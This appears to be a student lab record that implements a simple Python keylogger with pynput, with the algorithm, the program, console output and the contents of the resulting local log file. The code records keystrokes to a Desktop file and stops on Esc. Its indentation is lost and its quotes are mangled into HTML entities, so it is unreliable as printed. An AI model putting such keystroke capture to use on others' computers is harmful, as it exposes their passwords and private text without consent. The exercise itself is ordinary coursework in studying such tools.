Ex.No: 4 **Key Loggers** **Reg. No.: 210701259**

Date:

AIM:

To implement a keylogger to record the keystrokes.

ALGORITHM:

1. Import `Key` and `Listener` from `pynput.keyboard`.
2. Create an empty list `the_keys` to store pressed keys.
3. Define `functionPerKey(key)` to append pressed keys to `the_keys` and write them to a file.
4. Define `storeKeysToFile(keys)` to write keys to a log file.
5. Define `onEachKeyRelease(the_key)` to stop the keylogger when "Esc" key is pressed.

PROGRAM:

```
# importing the required modules
from pynput.keyboard import Key
from pynput.keyboard import Listener
# creating an empty list to store pressed keys
the_keys = []
# creating a function that defines what to do on each key press
def functionPerKey(key):
# appending each pressed key to a list
the_keys.append(key)
# writing list to file after each key pressed
storeKeysToFile(the_keys)
# defining the function to write keys to the log file
def storeKeysToFile(keys):
with open(r&amp;#39;C:\Users\REC\Desktop\keylog.txt&amp;#39;,&amp;#39;w&amp;#39;) as log:
for the_key in keys:
the_key = str(the_key).replace(&amp;quot;&amp;#39;&amp;quot;, &amp;quot;&amp;quot;)
log.write(the_key)


def onEachKeyRelease(the_key):
# In case, the key is &amp;quot;Esc&amp;quot; then stopping the keylogger
if the_key == Key.esc:
```

```
return False
with Listener(
on_press = functionPerKey,
on_release = onEachKeyRelease
) as the_listener:
the_listener.join()
```

OUTPUT:

Keyloggers.py

```
Python 3.11.5 (tags/v3.11.5:cce6ba9, Aug 24 2023, 14:38:34) [MSC v.1936 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license()" for more information.
>>>
== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
k
... e
>>>
== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
g
... w
... e
>>>
```

keylog.txt:

```
gKey.enterwKey.entereKey.enter`Key.backspaceKey.esc
```

RESULT: